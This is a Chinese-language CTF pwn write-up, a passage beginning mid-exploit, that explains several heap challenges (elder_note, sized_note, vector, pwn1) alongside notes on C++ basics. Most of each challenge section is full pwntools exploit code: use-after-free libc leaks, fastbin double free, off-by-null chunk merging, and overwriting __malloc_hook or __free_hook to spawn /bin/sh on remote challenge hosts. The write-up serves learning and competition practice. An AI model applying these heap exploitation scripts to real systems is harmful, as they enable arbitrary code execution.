<br><br>add(1,0x30,'a')<br>add(2,0x100,'a')<br>add(3,0x30,'c')<br>##gdb.attach(r)ni<br>add(4,0x80,'d')<br><br>payload=p64(0)+p64(0x30)+p64(note+24-0x18)+p64(note+24-0x10)<br>payload+=p64(0x20)<br>payload=payload.ljust(0x30,'\x00')<br>payload+=p64(0x30)+p64(0x90)<br>edit(3,payload)<br>##gdb.attach(r)<br>delet(4)<br>##gdb.attach(r)<br>payload=p64(free_got)+p64(put_got)+p64(atoi_got)+p64(0x4040c0)<br>edit(3,payload)<br>##gdb.attach(r)<br>edit(0,'\xe4\x10\x40\x00\x00\x00')<br>##gdb.attach(r)<br>delet(1)<br>libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']<br>log.success("libcbase:"+hex(libcbase))<br>system=libcbase+libc.sym['system']<br>edit(2,p64(system)[:-1])<br>r.recvuntil('>> ')<br>r.send('/bin/sh\x00')<br>r.interactive() |
2.elder_note
libc
2.23
保护
ida
发现有一个show函数,且free不会把指针置为NULL,那么就可以通过unsorted bin uaf 泄露libc
知道了libc以后就是经典的fastbin double free了,修改malloc hook 为onegadget,但4个都不行,那么就用realloc抬栈
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 ##import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' ##context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = remote( 'chuj.top' , 52668 ) proof_of_work(r) ##r=process('./note') elf = ELF( './note' ) libc = ELF( './libc-2.23.so' ) def cho(num): r.recvuntil( '>> ' ) r.send( str (num)) def add(index,size,con): cho( 1 ) r.recvuntil( '>> ' ) r.send( str (index)) r.recvuntil( '>> ' ) r.send( str (size)) r.recvuntil( '>> ' ) r.send(con) def show(index): cho( 2 ) r.recvuntil( '>> ' ) r.send( str (index)) def delet(index): cho( 3 ) r.recvuntil( '>> ' ) r.send( str (index)) add( 0 , 0x100 , 'a' ) add( 1 , 0x100 , 'a' ) add( 2 , 0x100 , 'a' ) delet( 0 ) delet( 1 ) delet( 2 ) ##gdb.attach(r) show( 0 ) libcbase = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 0x3a4338 - (libc.sym[ '__libc_start_main' ] + 240 ) log.success( 'libcbase:' + hex (libcbase)) malloc_hook = libcbase + libc.sym[ '__malloc_hook' ] free_hook = libcbase + libc.sym[ '__free_hook' ] one = [ 0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] onegadget = libcbase + one[ 1 ] realloc = libcbase + libc.sym[ 'realloc' ] log.success( 'onegadget:' + hex (onegadget)) log.success( 'realloc:' + hex (realloc)) log.success( 'malloc_hook' + hex (malloc_hook)) ##system=libcbase+libc.sym['system'] add( 0 , 0x68 , 'a' ) add( 1 , 0x68 , 'a' ) delet( 0 ) delet( 1 ) delet( 0 ) ##gdb.attach(r) add( 0 , 0x68 ,p64(malloc_hook - 0x23 )) add( 1 , 0x68 , 'a' ) add( 0 , 0x68 , 'a' ) ##gdb.attach(r) add( 0 , 0x68 , 'a' * 0xb + p64(onegadget) + p64(realloc)) ##gdb.attach(r) cho( 1 ) r.recvuntil( '>> ' ) r.send( str ( 0 )) r.recvuntil( '>> ' ) r.send( str ( 0 )) r.interactive() |
3.sized_note
libc
2.27
保护
ghidra(这题ida有点不太好看)
发现free以后会修改指针,没办法使用常规的double free和uaf
跟进edit和add:
发现有个off_by_null
那么思路就很清晰了,通过off_by_null实现chunk合并进入unsorted bin ,然后调用切割使得unsorted chunk的地址为数组上存的地址,再show()即可泄露libc了
泄露libc之后,我一开始想的是常规double free即
1 2 3 | delet( 0 ) delet( 1 ) delet( 0 ) |
但是不行的,因为free以后指针会清空,第二次delet(0)就相当于free(0)了
我们发现,当tache无free时,unsorted bin存在free的堆块,那么下次申请就会从unsorted bin 里切割一块下来,且是unsorted chunk的首地址,而我们已经做到首地址在数组里了,再申请一次,并free,就会把这块chunk放入tcache里面,而我们可以通过edit数组上保留的它的地址修改其fd指针为_free_hook。 此后再申请两次即可修改 __free_hook了
小技巧
我们发现edit里面有两个连续的发送,中间不能通过recv隔开。然而向read函数sendline是个大忌,会出现各种各样的问题,但是两个send会连续发送。我的解决方法是利用time模块下的sleep函数,实现延迟发送:
1 2 3 4 | def edit(index,con): r.sendafter( '>> ' , str (index)) sleep( 5 ) ##延后5s发送 r.send(con) |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import time ##import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' ##context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = remote( 'chuj.top' , 52913 ) proof_of_work(r) ##r=process('./note') elf = ELF( './note' ) libc = ELF( './libc.so.6' ) def cho(num): r.sendafter( '>> ' , str (num)) def add(index,size,con): cho( 1 ) r.sendafter( '>> ' , str (index)) r.sendafter( '>> ' , str (size)) r.sendafter( '>> ' ,con) def show(index): cho( 2 ) r.sendafter( '>> ' , str (index)) def delet(index): cho( 3 ) r.sendafter( '>> ' , str (index)) def edit(index,con): cho( 4 ) r.sendafter( '>> ' , str (index)) time.sleep( 5 ) r.send(con) for i in range ( 0 , 8 ): add(i, 0xf0 , 'a' ) add( 8 , 0xf8 , 'b' ) add( 9 , 0xf0 , 'c' ) add( 10 , 0xf0 , 'd' ) for i in range ( 0 , 11 ): delet(i) ## 0~6 tcache 7~10 unsorted bin for i in range ( 0 , 7 ): add(i, 0xf0 , 'a' ) add( 7 , 0xf0 , 'a' ) ##gdb.attach(r) add( 8 , 0xf8 , 'b' ) ##gdb.attach(r) add( 9 , 0xf0 , 'c' ) add( 10 , 0xf0 , '/bin/sh\x00' ) for i in range ( 0 , 7 ): delet(i) ##gdb.attach(r) delet( 7 ) payload = 0xf0 * 'a' payload + = p64( 0x100 + 0x100 ) ##gdb.attach(r) edit( 8 ,payload) ##gdb.attach(r) delet( 9 ) for i in range ( 0 , 7 ): add(i, 0xf0 , 'a' ) add( 9 , 0xf0 , 'a' ) ##gdb.attach(r) show( 8 ) libcbase = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 0x3ca0a9 - (libc.sym[ '__libc_start_main' ] + 231 ) log.success( 'libcbase:' + hex (libcbase)) free_hook = libcbase + libc.sym[ '__free_hook' ] system = libcbase + libc.sym[ 'system' ] add( 0 , 0xf0 , 'a' ) delet( 0 ) ##gdb.attach(r) edit( 8 ,p64(free_hook)) add( 0 , 0xf0 , 'a' ) add( 0 , 0xf0 ,p64(system)) delet( 10 ) r.interactive() |
week4
彩蛋
双重否定表肯定的文学大师ida
所学到的知识
(1)std::是什么
曾经用c++搞oi的时候,遇到过一些鬼火代码:
1 2 3 4 5 6 | #include<cstdio> int main() { std::cout<< "Hello World!" <<std::endl; return 0 ; } |
当时就在想:
不过现在转pwn了,会遇到不少c艹的题,而且以后搞Windows和浏览器都有用所以就学了一下:
std:: 是个名称空间标示符,C++标准库中的函数或者对象都是在命名空间std中定义的,所以我们要使用标准函数库中的函数或对象都要使用std来限定。
这样做的原因:
是因为像cout这样的对象在实际操作中或许会有好几个,比如说你自己也可能会不小心定义了一个对象叫cout,那么这两个cout对象就会产生冲突。
为啥俺之前没写过捏,因为只需要这样:
1 2 3 4 5 6 7 | #include<iostream> 或 #include<cstdio> . . . using namespace std; |
这些已经刻进DNA的写法过了快4年俺才知道背后的原因,所以说要知其所以然
(2)类定义class:
c++常被称为面向对象编程,就是因为它的一个核心功能——类,通过类可以封装一些标准库之外的功能比如自定义的函数和重载运算符。有点像python的module(貌似只有public才类似,privite和protect不太一样),大致用法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | class typical_ctf_score { public: double pwn_score; double web_score; double misc_score; double crypto_score; double re_score; double get(void) void set (double a,double b,double c,double d,double e) } double typical_ctf_score::get() { return pwn_score + web_score + misc_score + crypto_score + re_score; } void typical_ctf_score:: set (double a,double b,double c,double d,double e) { pwn_score = a; web_score = b; misc_score = c; crypto_score = d; re_score = e; } |
(3)重载运算符
这个网站写的很详细,就不赘述了,给上面的代码加个重载加法的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | class typical_ctf_score { typedef typical_ctf_score tcs public: double pwn_score; double web_score; double misc_score; double crypto_score; double re_score; double get(void) void set (double a,double b,double c,double d,double e) tcs operator + (const tcs& b) { tcs t; t.pwn_score = this - >pwn_score + b.pwn_score; t.web_score = this - >web_score + b.web_score; t.misc_score = this - >misc_score + b.misc_score; t.crypto_score = this - >crypto_score + b.crypto_score; t.re_score = this - >re_score + b.re_score; return t } } double typical_ctf_score::get() { return pwn_score + web_score + misc_score + crypto_score + re_score; } void typical_ctf_score:: set (double a,double b,double c,double d,double e) { pwn_score = a; web_score = b; misc_score = c; crypto_score = d; re_score = e; } |
(4)STL的一个容器——vector
vector在中文里是向量的意思,它也符合向量从起点向一个方向无限延长的性质
相较于数组需要规定大小,vector可以在push_back或者resize的时候,当超过容器容量上限的时,内部自动分配新的内存和内存空间并同时释放原空间,这样可以十分合理地处理未知输入量的问题
释放和分配好像用的是STL的allocator,源码没怎么仔细看。size()、end()、begin()、capability()的实现主要依赖三个迭代器(指针),随便搜搜就能搜到,蓝勾不想写
谈谈做题的经验,对于下面这个vector:
1 2 3 4 | #include<vector> #include<iostream> using namespace std; vector< int > notes; |
gdb里通过符号表访问notes指向的空间,存的是三个迭代器的值,再访问notes即可看查容器里存的值
(5)读c++反汇编的技巧
主要的难点在operator,回顾前面写的重载加法,有一个发现,如果将operator换成‘+’号前面一个变量,“(参数)”换成第二个变量就完全说得通了。同样,把operator换成第一个变量(通常是后面的括号里从左到右的第一个参数),那么再代入就很好理解了。
题解
1.vector
保护
习惯了
ida
主要看看move_note,其它都和原来的堆题差不大多,delete保证了不能使用uaf
核心部分大概自己写的话是这个样子的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | void move_note() { for (auto i = notes.begin();i< = notes.end();i + + ) { puts( * i); printf( "is this one your want to move? [1/0]" ); choice = get_init(); if (choice) { puts( "which index you want move to?" ); index = get_init(); if (index< = 0 ) / / 防止直接用整数型溢出修改got表或者plt表 { puts( "no way" ); exit( - 1 ); } else { if (index> = notes.size()) { notes.resize(index + 1 ,nullptr); } if (notes[index]! = ptr) { notes[index] = * i; * i = nullptr; } } return ; } } } |
漏洞是在notes.resize()和下面的指针修改
notes.resize()会造成vector扩容,并把原来的数据复制到一个新的内存地址,但是*i还是原来的内存上的堆块地址,那么我们就可以故意选择一个比较大的index,引起扩容,从而使得新的内存地址上有两个相同的堆块.
有两个相同的堆块,那么我们就可以触发unsorted bin uaf泄露libc地址,然后fastbin bin double free 和fastbin stash进tcache修改free_hook触发后门函数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | from pwn import * ##from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import time ##import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' ##context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) r = remote( 'chuj.top' , 53121 ) proof_of_work(r) ##r=process('./vector') elf = ELF( './vector' ) libc = ELF( './libc.so.6' ) def cho(num): r.sendlineafter( '>> ' , str (num)) def add(index,size,con): cho( 1 ) r.sendlineafter( '>> ' , str (index)) r.sendlineafter( '>> ' , str (size)) r.sendafter( '>> ' ,con) def show(index): cho( 3 ) r.sendlineafter( '>> ' , str (index)) def delet(index): cho( 4 ) r.sendlineafter( '>> ' , str (index)) for i in range ( 0 , 8 ): add(i, 0xf8 , 'a' ) cho( 5 ) for i in range ( 0 , 7 ): r.sendlineafter( '>> ' , str ( 0 )) r.recvuntil( '>> ' ) r.sendline( str ( 1 )) r.recvuntil( '>> ' ) r.sendline( str ( 30 )) for i in range ( 0 , 8 ): delet(i) ##gdb.attach(r) show( 30 ) libcbase = u64(r.recvuntil( '\x7f' )[ - 6 :].ljust( 8 , '\x00' )) - 0x1c4b2d - (libc.sym[ '__libc_start_main' ] + 243 ) log.success( 'libcbase:' + hex (libcbase)) free_hook = libcbase + libc.sym[ '__free_hook' ] system = libcbase + libc.sym[ 'system' ] log.success( 'free_hook:' + hex (free_hook)) one = [ 0xe6c7e , 0xe6c81 , 0xe6c84 ] onegadget = one[ 0 ] + libcbase for i in range ( 0 , 9 ): add(i, 0x68 , 'a' ) cho( 5 ) for i in range ( 0 , 8 ): r.sendlineafter( '>> ' , str ( 0 )) r.recvuntil( '>> ' ) r.sendline( str ( 1 )) ##gdb.attach(r) r.recvuntil( '>> ' ) r.sendline( str ( 32 )) for i in range ( 0 , 7 ): delet(i) ##gdb.attach(r) delet( 8 ) delet( 7 ) ##gdb.attach(r) delet( 32 ) for i in range ( 0 , 7 ): add(i, 0x68 , 'a' ) ##gdb.attach(r) add( 7 , 0x68 ,p64(free_hook)) add( 8 , 0x68 , 'a' ) add( 9 , 0x68 , '/bin/sh\x00' ) add( 10 , 0x68 ,p64(system)) delet( 9 ) r.interactive() |
final
摸了一上午,下午有个团建就溜了,老打比赛不认真了
学到的知识
(1)大堆块使用vmmap分配内存,可以gdb里跟进查看地址
pwn1
版本
2.31 9_2 (和ubnutu20.4的版本不一样。。)
保护
ida
用ghidra可以发现存堆块的指针使用mmap函数申请的,可以用gdb下断点查看
main
add
没有限制堆块的申请大小,并且没有初始化指针,可以leak libc和heap
delet
没有对idx为负数的检测,会造成整型溢出
show
思路
由于note(存堆块指针的数组)是用mmap映射的,heap过大也会用mmap映射,那么可以申请一块较大的堆块使得它与note相邻。利用整型溢出就可以double free,然后fastbin stash就可修改free_hook为system get_shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' r = process( './pwn1' ) libc = ELF( './libc-2.31.so' ) def z(): gdb.attach(r) def cho(num): r.sendlineafter( ">> " , str (num)) def add(size,con): cho( 1 ) r.sendlineafter( "size: " , str (size)) r.sendlineafter( "content: " ,con) def delet(idx): cho( 2 ) r.sendlineafter( "index: " , str (idx)) def show(idx): cho( 3 ) r.sendlineafter( "index: " , str (idx)) ##leak libc add( 0x500 , 'nameless' ) #0 add( 0x40 , 'nameless' ) #1 delet( 0 ) add( 0x500 , 'nameles' ) #0 show( 0 ) r.recvuntil( 'nameles' + '\x0a' ) libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x1c4b2d - (libc.sym[ '__libc_start_main' ] + 243 ) log.success( 'libcbase:' + hex (libcbase)) ##set_things free_hook = libcbase + libc.sym[ '__free_hook' ] system = libcbase + libc.sym[ 'system' ] ##leak heap add( 0x600 , 'nameless' ) #2 add( 0x600 , 'nameless' ) #3 add( 0x600 , 'nameless' ) #4 add( 0x600 , 'nameless' ) #5 delet( 2 ) delet( 4 ) add( 0x600 , 'nameles' ) #2 show( 2 ) r.recvuntil( 'nameles' + '\x0a' ) heap = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x1410 log.success( 'heap:' + hex (heap)) target = heap + 0x2350 log.success( 'target:' + hex (target)) ##fastbin stash add( 0x600 ,p64(target)) #4 bi mian qie ge add( 0xfffff ,p64(target)) for i in range ( 0 , 10 ): add( 0x68 , 'nameless' ) for i in range ( 0 , 9 ): delet( 7 + i) delet( - 0x201fe ) for i in range ( 0 , 7 ): add( 0x68 , '/bin/sh\x00' ) add( 0x68 ,p64(free_hook)) add( 0x68 , 'nameless' ) add( 0x68 , 'nameless' ) ##z() add( 0x68 ,p64(system)) delet( 7 ) r.interactive() |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界